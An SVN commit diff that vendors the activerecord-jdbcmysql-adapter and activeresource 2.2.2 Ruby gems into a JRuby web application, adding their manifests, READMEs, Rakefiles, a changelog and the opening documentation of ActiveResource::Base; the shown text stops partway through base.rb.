+Copyright (c) 2006-2007 Ola Bini <ola at ologix.com>
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbcmysql-adapter-0.9/Manifest.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbcmysql-adapter-0.9/Manifest.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbcmysql-adapter-0.9/Manifest.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,7 @@
+Manifest.txt
+Rakefile
+README.txt
+LICENSE.txt
+lib/active_record
+lib/active_record/connection_adapters
+lib/active_record/connection_adapters/jdbcmysql_adapter.rb

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbcmysql-adapter-0.9/README.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbcmysql-adapter-0.9/README.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbcmysql-adapter-0.9/README.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+This is an ActiveRecord driver for MySQL using JDBC running under JRuby. Please see
+
+http://jruby-extras.rubyforge.org/activerecord-jdbc-adapter/
+
+for more information.
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbcmysql-adapter-0.9/Rakefile
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbcmysql-adapter-0.9/Rakefile	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbcmysql-adapter-0.9/Rakefile	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,31 @@
+MANIFEST = FileList["Manifest.txt", "Rakefile", "README.txt", "LICENSE.txt", "lib/**/*"]
+
+file "Manifest.txt" => :manifest
+task :manifest do
+  File.open("Manifest.txt", "w") {|f| MANIFEST.each {|n| f << "#{n}\n"} }
+end
+Rake::Task['manifest'].invoke
+
+require File.dirname(__FILE__) + "/../../lib/jdbc_adapter/version"
+$LOAD_PATH << File.dirname(__FILE__) + "/../../drivers/mysql/lib"
+require "jdbc/mysql"
+
+begin
+  require 'hoe'
+  Hoe.new("activerecord-jdbcmysql-adapter", JdbcAdapter::Version::VERSION) do |p|
+    p.rubyforge_name = "jruby-extras"
+    p.url = "http://jruby-extras.rubyforge.org/ActiveRecord-JDBC"
+    p.author = "Nick Sieger, Ola Bini and JRuby contributors"
+    p.email = "nick at nicksieger.com, ola.bini at gmail.com"
+    p.summary = "MySQL JDBC adapter for JRuby on Rails."
+    p.changes = "Updated to MySQL version #{Jdbc::MySQL::VERSION}."
+    p.description = "Install this gem to use MySQL with JRuby on Rails."
+    p.extra_deps += [
+      ['activerecord-jdbc-adapter', "= #{JdbcAdapter::Version::VERSION}"],
+      ['jdbc-mysql', ">= #{Jdbc::MySQL::VERSION}"]]
+  end.spec.dependencies.delete_if { |dep| dep.name == "hoe" }
+rescue LoadError
+  puts "You really need Hoe installed to be able to package this gem"
+rescue => e
+  puts "ignoring error while loading hoe: #{e.to_s}"
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbcmysql-adapter-0.9/lib/active_record/connection_adapters/jdbcmysql_adapter.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbcmysql-adapter-0.9/lib/active_record/connection_adapters/jdbcmysql_adapter.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbcmysql-adapter-0.9/lib/active_record/connection_adapters/jdbcmysql_adapter.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+tried_gem = false
+begin
+  require "jdbc_adapter"
+rescue LoadError
+  raise if tried_gem
+  require 'rubygems'
+  gem "activerecord-jdbc-adapter"
+  tried_gem = true
+  retry
+end
+tried_gem = false
+begin
+  require "jdbc/mysql"
+rescue LoadError
+  raise if tried_gem
+  require 'rubygems'
+  gem "jdbc-mysql"
+  tried_gem = true
+  retry
+end
+
+require 'active_record/connection_adapters/jdbc_adapter'
+
+module ActiveRecord
+  class Base
+    class << self
+      alias_method :jdbcmysql_connection, :mysql_connection
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/CHANGELOG
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/CHANGELOG	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/CHANGELOG	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,262 @@
+*2.2.1 [RC2] (November 14th, 2008)*
+
+* Fixed that ActiveResource#post would post an empty string when it shouldn't be posting anything #525 [Paolo Angelini]
+
+
+*2.2.0 [RC1] (October 24th, 2008)*
+
+* Add ActiveResource::Base#to_xml and ActiveResource::Base#to_json. #1011 [Rasik Pandey, Cody Fauser]
+
+* Add ActiveResource::Base.find(:last). [#754 state:resolved] (Adrian Mugnolo)
+
+* Fixed problems with the logger used if the logging string included %'s [#840 state:resolved] (Jamis Buck)
+
+* Fixed Base#exists? to check status code as integer [#299 state:resolved] (Wes Oldenbeuving)
+
+
+*2.1.0 (May 31st, 2008)*
+
+* Fixed response logging to use length instead of the entire thing (seangeo) [#27]
+
+* Fixed that to_param should be used and honored instead of hardcoding the id #11406 [gspiers]
+
+* Improve documentation. [Radar, Jan De Poorter, chuyeow, xaviershay, danger, miloops, Xavier Noria,  Sunny Ripert]
+
+* Use HEAD instead of GET in exists? [bscofield]
+
+* Fix small documentation typo.  Closes #10670 [l.guidi]
+
+* find_or_create_resource_for handles module nesting.  #10646 [xavier]
+
+* Allow setting ActiveResource::Base#format before #site.  [rick]
+
+* Support agnostic formats when calling custom methods.  Closes #10635 [joerichsen]
+
+* Document custom methods.  #10589 [Cheah Chu Yeow]
+
+* Ruby 1.9 compatibility.  [Jeremy Kemper]
+
+
+*2.0.2* (December 16th, 2007)
+
+* Added more specific exceptions for 400, 401, and 403 (all descending from ClientError so existing rescues will work) #10326 [trek]
+
+* Correct empty response handling.  #10445 [seangeo]
+
+
+*2.0.1* (December 7th, 2007)
+
+* Don't cache net/http object so that ActiveResource is more thread-safe.  Closes #10142 [kou]
+
+* Update XML documentation examples to include explicit type attributes. Closes #9754 [hasmanyjosh]
+
+* Added one-off declarations of mock behavior [DHH]. Example:
+
+    Before:
+      ActiveResource::HttpMock.respond_to do |mock|
+        mock.get "/people/1.xml", {}, "<person><name>David</name></person>"
+      end
+      
+    Now:
+      ActiveResource::HttpMock.respond_to.get "/people/1.xml", {}, "<person><name>David</name></person>"
+
+* Added ActiveResource.format= which defaults to :xml but can also be set to :json [DHH]. Example:
+
+    class Person < ActiveResource::Base
+      self.site   = "http://app/"
+      self.format = :json
+    end
+    
+    person = Person.find(1) # => GET http://app/people/1.json
+    person.name = "David"
+    person.save             # => PUT http://app/people/1.json {name: "David"}
+    
+    Person.format = :xml
+    person.name = "Mary"
+    person.save             # => PUT http://app/people/1.json <person><name>Mary</name></person>    
+
+* Fix reload error when path prefix is used.  #8727 [Ian Warshak]
+
+* Remove ActiveResource::Struct because it hasn't proven very useful. Creating a new ActiveResource::Base subclass is often less code and always clearer.  #8612 [Josh Peek]
+
+* Fix query methods on resources. [Cody Fauser]
+
+* pass the prefix_options to the instantiated record when using find without a specific id. Closes #8544 [alloy]
+
+* Recognize and raise an exception on 405 Method Not Allowed responses.  #7692 [Josh Peek]
+
+* Handle string and symbol param keys when splitting params into prefix params and query params.
+
+    Comment.find(:all, :params => { :article_id => 5, :page => 2 }) or Comment.find(:all, :params => { 'article_id' => 5, :page => 2 })
+
+* Added find-one with symbol [DHH]. Example: Person.find(:one, :from => :leader) # => GET /people/leader.xml
+
+* BACKWARDS INCOMPATIBLE: Changed the finder API to be more extensible with :params and more strict usage of scopes [DHH]. Changes:
+
+    Person.find(:all, :title => "CEO")      ...becomes: Person.find(:all, :params => { :title => "CEO" })
+    Person.find(:managers)                  ...becomes: Person.find(:all, :from => :managers)
+    Person.find("/companies/1/manager.xml") ...becomes: Person.find(:one, :from => "/companies/1/manager.xml")
+
+* Add support for setting custom headers per Active Resource model [Rick]
+
+  class Project
+    headers['X-Token'] = 'foo'
+  end
+  
+  # makes the GET request with the custom X-Token header
+  Project.find(:all)
+
+* Added find-by-path options to ActiveResource::Base.find [DHH]. Examples:
+
+    employees = Person.find(:all, :from => "/companies/1/people.xml") # => GET /companies/1/people.xml
+    manager   = Person.find("/companies/1/manager.xml")               # => GET /companies/1/manager.xml
+
+
+* Added support for using classes from within a single nested module [DHH]. Example:
+
+    module Highrise
+      class Note < ActiveResource::Base
+        self.site = "http://37s.sunrise.i:3000"
+      end
+
+      class Comment < ActiveResource::Base
+        self.site = "http://37s.sunrise.i:3000"
+      end
+    end
+
+  assert_kind_of Highrise::Comment, Note.find(1).comments.first
+    
+
+* Added load_attributes_from_response as a way of loading attributes from other responses than just create [DHH]
+
+    class Highrise::Task < ActiveResource::Base
+      def complete
+        load_attributes_from_response(post(:complete))
+      end
+    end
+
+  ...will set "done_at" when complete is called.
+
+
+* Added support for calling custom methods #6979 [rwdaigle]
+
+    Person.find(:managers)    # => GET /people/managers.xml
+    Kase.find(1).post(:close) # => POST /kases/1/close.xml
+
+* Remove explicit prefix_options parameter for ActiveResource::Base#initialize. [Rick]
+  ActiveResource splits the prefix_options from it automatically.
+
+* Allow ActiveResource::Base.delete with custom prefix. [Rick]
+
+* Add ActiveResource::Base#dup [Rick]
+
+* Fixed constant warning when fetching the same object multiple times [DHH]
+
+* Added that saves which get a body response (and not just a 201) will use that response to update themselves [DHH]
+
+* Disregard namespaces from the default element name, so Highrise::Person will just try to fetch from "/people", not "/highrise/people" [DHH]
+
+* Allow array and hash query parameters.  #7756 [Greg Spurrier]
+
+* Loading a resource preserves its prefix_options.  #7353 [Ryan Daigle]
+
+* Carry over the convenience of #create from ActiveRecord.  Closes #7340.  [Ryan Daigle]
+
+* Increase ActiveResource::Base test coverage.  Closes #7173, #7174 [Rich Collins]
+
+* Interpret 422 Unprocessable Entity as ResourceInvalid.  #7097 [dkubb]
+
+* Mega documentation patches. #7025, #7069 [rwdaigle]
+
+* Base.exists?(id, options) and Base#exists? check whether the resource is found.  #6970 [rwdaigle]
+
+* Query string support.  [untext, Jeremy Kemper]
+    # GET /forums/1/topics.xml?sort=created_at
+    Topic.find(:all, :forum_id => 1, :sort => 'created_at')
+
+* Base#==, eql?, and hash methods. == returns true if its argument is identical to self or if it's an instance of the same class, is not new?, and has the same id. eql? is an alias for ==. hash delegates to id.  [Jeremy Kemper]
+
+* Allow subclassed resources to share the site info [Rick, Jeremy Kemper]
+d
+    class BeastResource < ActiveResource::Base
+      self.site = 'http://beast.caboo.se'
+    end
+
+    class Forum < BeastResource
+      # taken from BeastResource
+      # self.site = 'http://beast.caboo.se'
+    end
+
+    class Topic < BeastResource
+      self.site += '/forums/:forum_id'
+    end
+
+* Fix issues with ActiveResource collection handling.  Closes #6291. [bmilekic]
+
+* Use attr_accessor_with_default to dry up attribute initialization. References #6538. [Stuart Halloway]
+
+* Add basic logging support for logging outgoing requests. [Jamis Buck]
+
+* Add Base.delete for deleting resources without having to instantiate them first. [Jamis Buck]
+
+* Make #save behavior mimic AR::Base#save (true on success, false on failure). [Jamis Buck]
+
+* Add Basic HTTP Authentication to ActiveResource (closes #6305). [jonathan]
+
+* Extracted #id_from_response as an entry point for customizing how a created resource gets its own ID.
+  By default, it extracts from the Location response header.
+
+* Optimistic locking: raise ActiveResource::ResourceConflict on 409 Conflict response. [Jeremy Kemper]
+
+    # Example controller action
+    def update
+      @person.save!
+    rescue ActiveRecord::StaleObjectError
+      render :xml => @person.reload.to_xml, :status => '409 Conflict'
+    end
+
+* Basic validation support [Rick Olson]
+
+  Parses the xml response of ActiveRecord::Errors#to_xml with a similar interface to ActiveRecord::Errors.  
+  
+    render :xml => @person.errors.to_xml, :status => '400 Validation Error'
+
+* Deep hashes are converted into collections of resources.  [Jeremy Kemper]
+    Person.new :name => 'Bob',
+               :address => { :id => 1, :city => 'Portland' },
+               :contacts => [{ :id => 1 }, { :id => 2 }]
+  Looks for Address and Contact resources and creates them if unavailable.
+  So clients can fetch a complex resource in a single request if you e.g.
+    render :xml => @person.to_xml(:include => [:address, :contacts])
+  in your controller action.
+
+* Major updates [Rick Olson]
+
+  * Add full support for find/create/update/destroy
+  * Add support for specifying prefixes.
+  * Allow overriding of element_name, collection_name, and primary key
+  * Provide simpler HTTP mock interface for testing
+  
+    # rails routing code
+    map.resources :posts do |post|
+      post.resources :comments
+    end
+    
+    # ActiveResources
+    class Post < ActiveResource::Base
+      self.site = "http://37s.sunrise.i:3000/"
+    end
+
+    class Comment < ActiveResource::Base
+      self.site = "http://37s.sunrise.i:3000/posts/:post_id/"
+    end
+    
+    @post     = Post.find 5
+    @comments = Comment.find :all, :post_id => @post.id
+
+    @comment  = Comment.new({:body => 'hello world'}, {:post_id => @post.id})
+    @comment.save
+
+* Base.site= accepts URIs. 200...400 are valid response codes. PUT and POST request bodies default to ''. [Jeremy Kemper]
+
+* Initial checkin: object-oriented client for restful HTTP resources which follow the Rails convention. [DHH]

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/README
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/README	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/README	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,165 @@
+= Active Resource
+
+Active Resource (ARes) connects business objects and Representational State Transfer (REST)
+web services.  It implements object-relational mapping for REST webservices to provide transparent 
+proxying capabilities between a client (ActiveResource) and a RESTful service (which is provided by Simply RESTful routing
+in ActionController::Resources).
+
+== Philosophy
+
+Active Resource attempts to provide a coherent wrapper object-relational mapping for REST
+web services. It follows the same philosophy as Active Record, in that one of its prime aims
+is to reduce the amount of code needed to map to these resources.  This is made possible 
+by relying on a number of code- and protocol-based conventions that make it easy for Active Resource
+to infer complex relations and structures.  These conventions are outlined in detail in the documentation
+for ActiveResource::Base.
+
+== Overview
+
+Model classes are mapped to remote REST resources by Active Resource much the same way Active Record maps model classes to database
+tables.  When a request is made to a remote resource, a REST XML request is generated, transmitted, and the result
+received and serialized into a usable Ruby object.
+
+=== Configuration and Usage
+
+Putting ActiveResource to use is very similar to ActiveRecord.  It's as simple as creating a model class
+that inherits from ActiveResource::Base and providing a <tt>site</tt> class variable to it:
+
+   class Person < ActiveResource::Base
+     self.site = "http://api.people.com:3000/"
+   end
+
+Now the Person class is REST enabled and can invoke REST services very similarly to how ActiveRecord invokes
+lifecycle methods that operate against a persistent store.
+
+   # Find a person with id = 1
+   ryan = Person.find(1)
+   Person.exists?(1)  #=> true
+
+As you can see, the methods are quite similar to Active Record's methods for dealing with database
+records.  But rather than dealing directly with a database record, you're dealing with HTTP resources (which may or may not be database records).
+
+==== Protocol
+
+Active Resource is built on a standard XML format for requesting and submitting resources over HTTP.  It mirrors the RESTful routing 
+built into ActionController but will also work with any other REST service that properly implements the protocol. 
+REST uses HTTP, but unlike "typical" web applications, it makes use of all the verbs available in the HTTP specification:
+
+* GET requests are used for finding and retrieving resources.
+* POST requests are used to create new resources.
+* PUT requests are used to update existing resources.
+* DELETE requests are used to delete resources. 
+
+For more information on how this protocol works with Active Resource, see the ActiveResource::Base documentation;
+for more general information on REST web services, see the article here[http://en.wikipedia.org/wiki/Representational_State_Transfer].
+
+==== Find
+
+GET Http requests expect the XML form of whatever resource/resources is/are being requested.  So,
+for a request for a single element - the XML of that item is expected in response:
+
+   # Expects a response of
+   #
+   # <person><id type="integer">1</id><attribute1>value1</attribute1><attribute2>..</attribute2></person>
+   #
+   # for GET http://api.people.com:3000/people/1.xml
+   #
+   ryan = Person.find(1)
+
+The XML document that is received is used to build a new object of type Person, with each
+XML element becoming an attribute on the object.
+
+   ryan.is_a? Person  #=> true
+   ryan.attribute1  #=> 'value1'
+
+Any complex element (one that contains other elements) becomes its own object:
+
+   # With this response:
+   #
+   # <person><id>1</id><attribute1>value1</attribute1><complex><attribute2>value2</attribute2></complex></person>
+   #
+   # for GET http://api.people.com:3000/people/1.xml
+   #
+   ryan = Person.find(1)
+   ryan.complex  #=> <Person::Complex::xxxxx>
+   ryan.complex.attribute2  #=> 'value2'
+
+Collections can also be requested in a similar fashion
+
+   # Expects a response of
+   #
+   # <people type="array">
+   #  <person><id type="integer">1</id><first>Ryan</first></person>
+   #  <person><id type="integer">2</id><first>Jim</first></person>
+   # </people>
+   #
+   # for GET http://api.people.com:3000/people.xml
+   #
+   people = Person.find(:all)
+   people.first  #=> <Person::xxx 'first' => 'Ryan' ...>
+   people.last  #=> <Person::xxx 'first' => 'Jim' ...>
+
+==== Create
+
+Creating a new resource submits the xml form of the resource as the body of the request and expects
+a 'Location' header in the response with the RESTful URL location of the newly created resource.  The
+id of the newly created resource is parsed out of the Location response header and automatically set
+as the id of the ARes object.
+
+  # <person><first>Ryan</first></person>
+  #
+  # is submitted as the body on
+  #
+  # POST http://api.people.com:3000/people.xml
+  # 
+  # when save is called on a new Person object.  An empty response is
+  # is expected with a 'Location' header value:
+  #
+  # Response (201): Location: http://api.people.com:3000/people/2
+  #
+  ryan = Person.new(:first => 'Ryan')
+  ryan.new?  #=> true
+  ryan.save  #=> true
+  ryan.new?  #=> false
+  ryan.id    #=> 2
+
+==== Update
+
+'save' is also used to update an existing resource - and follows the same protocol as creating a resource
+with the exception that no response headers are needed - just an empty response when the update on the
+server side was successful.
+
+  # <person><first>Ryan</first></person>
+  #
+  # is submitted as the body on
+  #
+  # PUT http://api.people.com:3000/people/1.xml
+  #
+  # when save is called on an existing Person object.  An empty response is
+  # is expected with code (204)
+  #
+  ryan = Person.find(1)
+  ryan.first #=> 'Ryan'
+  ryan.first = 'Rizzle'
+  ryan.save  #=> true
+
+==== Delete
+
+Destruction of a resource can be invoked as a class and instance method of the resource.
+
+  # A request is made to
+  #
+  # DELETE http://api.people.com:3000/people/1.xml
+  #
+  # for both of these forms.  An empty response with
+  # is expected with response code (200)
+  #
+  ryan = Person.find(1)
+  ryan.destroy  #=> true
+  ryan.exists?  #=> false
+  Person.delete(2)  #=> true
+  Person.exists?(2) #=> false
+
+
+You can find more usage information in the ActiveResource::Base documentation.
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/Rakefile
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/Rakefile	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/Rakefile	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,136 @@
+require 'rubygems'
+require 'rake'
+require 'rake/testtask'
+require 'rake/rdoctask'
+require 'rake/packagetask'
+require 'rake/gempackagetask'
+require 'rake/contrib/sshpublisher'
+
+require File.join(File.dirname(__FILE__), 'lib', 'active_resource', 'version')
+
+PKG_BUILD     = ENV['PKG_BUILD'] ? '.' + ENV['PKG_BUILD'] : ''
+PKG_NAME      = 'activeresource'
+PKG_VERSION   = ActiveResource::VERSION::STRING + PKG_BUILD
+PKG_FILE_NAME = "#{PKG_NAME}-#{PKG_VERSION}"
+
+RELEASE_NAME  = "REL #{PKG_VERSION}"
+
+RUBY_FORGE_PROJECT = "activerecord"
+RUBY_FORGE_USER    = "webster132"
+
+PKG_FILES = FileList[
+    "lib/**/*", "test/**/*", "[A-Z]*", "Rakefile"
+].exclude(/\bCVS\b|~$/)
+
+desc "Default Task"
+task :default => [ :test ]
+
+# Run the unit tests
+
+Rake::TestTask.new { |t|
+  t.libs << "test"
+  t.pattern = 'test/**/*_test.rb'
+  t.verbose = true
+  t.warning = true
+}
+
+
+# Generate the RDoc documentation
+
+Rake::RDocTask.new { |rdoc|
+  rdoc.rdoc_dir = 'doc'
+  rdoc.title    = "Active Resource -- Object-oriented REST services"
+  rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object'
+  rdoc.options << '--charset' << 'utf-8'
+  rdoc.template = ENV['template'] ? "#{ENV['template']}.rb" : '../doc/template/horo'
+  rdoc.rdoc_files.include('README', 'CHANGELOG')
+  rdoc.rdoc_files.include('lib/**/*.rb')
+  rdoc.rdoc_files.exclude('lib/activeresource.rb')
+}
+
+
+# Create compressed packages
+
+dist_dirs = [ "lib", "test", "examples", "dev-utils" ]
+
+spec = Gem::Specification.new do |s|
+  s.platform = Gem::Platform::RUBY
+  s.name = PKG_NAME
+  s.version = PKG_VERSION
+  s.summary = "Think Active Record for web resources."
+  s.description = %q{Wraps web resources in model classes that can be manipulated through XML over REST.}
+
+  s.files = [ "Rakefile", "README", "CHANGELOG" ]
+  dist_dirs.each do |dir|
+    s.files = s.files + Dir.glob( "#{dir}/**/*" ).delete_if { |item| item.include?( "\.svn" ) }
+  end
+  
+  s.add_dependency('activesupport', '= 2.2.2' + PKG_BUILD)
+
+  s.require_path = 'lib'
+  s.autorequire = 'active_resource'
+
+  s.has_rdoc = true
+  s.extra_rdoc_files = %w( README )
+  s.rdoc_options.concat ['--main',  'README']
+  
+  s.author = "David Heinemeier Hansson"
+  s.email = "david at loudthinking.com"
+  s.homepage = "http://www.rubyonrails.org"
+  s.rubyforge_project = "activeresource"
+end
+  
+Rake::GemPackageTask.new(spec) do |p|
+  p.gem_spec = spec
+  p.need_tar = true
+  p.need_zip = true
+end
+
+task :lines do
+  lines, codelines, total_lines, total_codelines = 0, 0, 0, 0
+
+  for file_name in FileList["lib/active_resource/**/*.rb"]
+    next if file_name =~ /vendor/
+    f = File.open(file_name)
+
+    while line = f.gets
+      lines += 1
+      next if line =~ /^\s*$/
+      next if line =~ /^\s*#/
+      codelines += 1
+    end
+    puts "L: #{sprintf("%4d", lines)}, LOC #{sprintf("%4d", codelines)} | #{file_name}"
+    
+    total_lines     += lines
+    total_codelines += codelines
+    
+    lines, codelines = 0, 0
+  end
+
+  puts "Total: Lines #{total_lines}, LOC #{total_codelines}"
+end
+
+
+# Publishing ------------------------------------------------------
+
+desc "Publish the beta gem"
+task :pgem => [:package] do 
+  Rake::SshFilePublisher.new("gems.rubyonrails.org", "/u/sites/gems/gems", "pkg", "#{PKG_FILE_NAME}.gem").upload
+  `ssh gems.rubyonrails.org '/u/sites/gems/gemupdate.sh'`
+end
+
+desc "Publish the API documentation"
+task :pdoc => [:rdoc] do 
+  Rake::SshDirPublisher.new("wrath.rubyonrails.org", "public_html/ar", "doc").upload
+end
+
+desc "Publish the release files to RubyForge."
+task :release => [ :package ] do
+  `rubyforge login`
+
+  for ext in %w( gem tgz zip )
+    release_command = "rubyforge add_release #{PKG_NAME} #{PKG_NAME} 'REL #{PKG_VERSION}' pkg/#{PKG_NAME}-#{PKG_VERSION}.#{ext}"
+    puts release_command
+    system(release_command)
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/base.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/base.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/base.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1074 @@
+require 'active_resource/connection'
+require 'cgi'
+require 'set'
+
+module ActiveResource
+  # ActiveResource::Base is the main class for mapping RESTful resources as models in a Rails application.
+  #
+  # For an outline of what Active Resource is capable of, see link:files/vendor/rails/activeresource/README.html.
+  #
+  # == Automated mapping
+  #
+  # Active Resource objects represent your RESTful resources as manipulatable Ruby objects.  To map resources
+  # to Ruby objects, Active Resource only needs a class name that corresponds to the resource name (e.g., the class
+  # Person maps to the resources people, very similarly to Active Record) and a +site+ value, which holds the
+  # URI of the resources.
+  #
+  #   class Person < ActiveResource::Base
+  #     self.site = "http://api.people.com:3000/"
+  #   end
+  #
+  # Now the Person class is mapped to RESTful resources located at <tt>http://api.people.com:3000/people/</tt>, and
+  # you can now use Active Resource's lifecycles methods to manipulate resources. In the case where you already have
+  # an existing model with the same name as the desired RESTful resource you can set the +element_name+ value.
+  #
+  #   class PersonResource < ActiveResource::Base
+  #     self.site = "http://api.people.com:3000/"
+  #     self.element_name = "person"
+  #   end
+  #
+  #
+  # == Lifecycle methods
+  #
+  # Active Resource exposes methods for creating, finding, updating, and deleting resources
+  # from REST web services.
+  #
+  #   ryan = Person.new(:first => 'Ryan', :last => 'Daigle')
+  #   ryan.save                # => true
+  #   ryan.id                  # => 2
+  #   Person.exists?(ryan.id)  # => true
+  #   ryan.exists?             # => true
+  #
+  #   ryan = Person.find(1)
+  #   # Resource holding our newly created Person object
+  #
+  #   ryan.first = 'Rizzle'
+  #   ryan.save                # => true
+  #
+  #   ryan.destroy             # => true
+  #
+  # As you can see, these are very similar to Active Record's lifecycle methods for database records.
+  # You can read more about each of these methods in their respective documentation.
+  #
+  # === Custom REST methods
+  #
+  # Since simple CRUD/lifecycle methods can't accomplish every task, Active Resource also supports
+  # defining your own custom REST methods. To invoke them, Active Resource provides the <tt>get</tt>,
+  # <tt>post</tt>, <tt>put</tt> and <tt>\delete</tt> methods where you can specify a custom REST method
+  # name to invoke.
+  #
+  #   # POST to the custom 'register' REST method, i.e. POST /people/new/register.xml.
+  #   Person.new(:name => 'Ryan').post(:register)
+  #   # => { :id => 1, :name => 'Ryan', :position => 'Clerk' }
+  #
+  #   # PUT an update by invoking the 'promote' REST method, i.e. PUT /people/1/promote.xml?position=Manager.
+  #   Person.find(1).put(:promote, :position => 'Manager')
+  #   # => { :id => 1, :name => 'Ryan', :position => 'Manager' }
+  #
+  #   # GET all the positions available, i.e. GET /people/positions.xml.
+  #   Person.get(:positions)
+  #   # => [{:name => 'Manager'}, {:name => 'Clerk'}]
+  #
+  #   # DELETE to 'fire' a person, i.e. DELETE /people/1/fire.xml.
+  #   Person.find(1).delete(:fire)
+  #
+  # For more information on using custom REST methods, see the
+  # ActiveResource::CustomMethods documentation.
+  #
+  # == Validations
+  #
+  # You can validate resources client side by overriding validation methods in the base class.
+  #
+  #   class Person < ActiveResource::Base
+  #      self.site = "http://api.people.com:3000/"
+  #      protected
+  #        def validate
+  #          errors.add("last", "has invalid characters") unless last =~ /[a-zA-Z]*/
+  #        end
+  #   end
+  #
+  # See the ActiveResource::Validations documentation for more information.
+  #
+  # == Authentication
+  #
+  # Many REST APIs will require authentication, usually in the form of basic
+  # HTTP authentication.  Authentication can be specified by:
+  # * putting the credentials in the URL for the +site+ variable.
+  #
+  #    class Person < ActiveResource::Base
+  #      self.site = "http://ryan:[email protected]:3000/"
+  #    end
+  #
+  # * defining +user+ and/or +password+ variables
+  #
+  #    class Person < ActiveResource::Base
+  #      self.site = "http://api.people.com:3000/"
+  #      self.user = "ryan"
+  #      self.password = "password"
+  #    end
+  #
+  # For obvious security reasons, it is probably best if such services are available
+  # over HTTPS.
+  #
+  # Note: Some values cannot be provided in the URL passed to site.  e.g. email addresses
+  # as usernames.  In those situations you should use the separate user and password option.
+  # == Errors & Validation
+  #
+  # Error handling and validation is handled in much the same manner as you're used to seeing in
+  # Active Record.  Both the response code in the HTTP response and the body of the response are used to
+  # indicate that an error occurred.
+  #
+  # === Resource errors
+  #
+  # When a GET is requested for a resource that does not exist, the HTTP <tt>404</tt> (Resource Not Found)
+  # response code will be returned from the server which will raise an ActiveResource::ResourceNotFound
+  # exception.
+  #
+  #   # GET http://api.people.com:3000/people/999.xml
+  #   ryan = Person.find(999) # 404, raises ActiveResource::ResourceNotFound
+  #
+  # <tt>404</tt> is just one of the HTTP error response codes that Active Resource will handle with its own exception. The
+  # following HTTP response codes will also result in these exceptions:
+  # 
+  # * 200..399 - Valid response, no exception (other than 301, 302)
+  # * 301, 302 - ActiveResource::Redirection
+  # * 400 - ActiveResource::BadRequest
+  # * 401 - ActiveResource::UnauthorizedAccess
+  # * 403 - ActiveResource::ForbiddenAccess
+  # * 404 - ActiveResource::ResourceNotFound
+  # * 405 - ActiveResource::MethodNotAllowed
+  # * 409 - ActiveResource::ResourceConflict
+  # * 422 - ActiveResource::ResourceInvalid (rescued by save as validation errors)
+  # * 401..499 - ActiveResource::ClientError
+  # * 500..599 - ActiveResource::ServerError
+  # * Other - ActiveResource::ConnectionError
+  #
+  # These custom exceptions allow you to deal with resource errors more naturally and with more precision
+  # rather than returning a general HTTP error.  For example:
+  #
+  #   begin
+  #     ryan = Person.find(my_id)
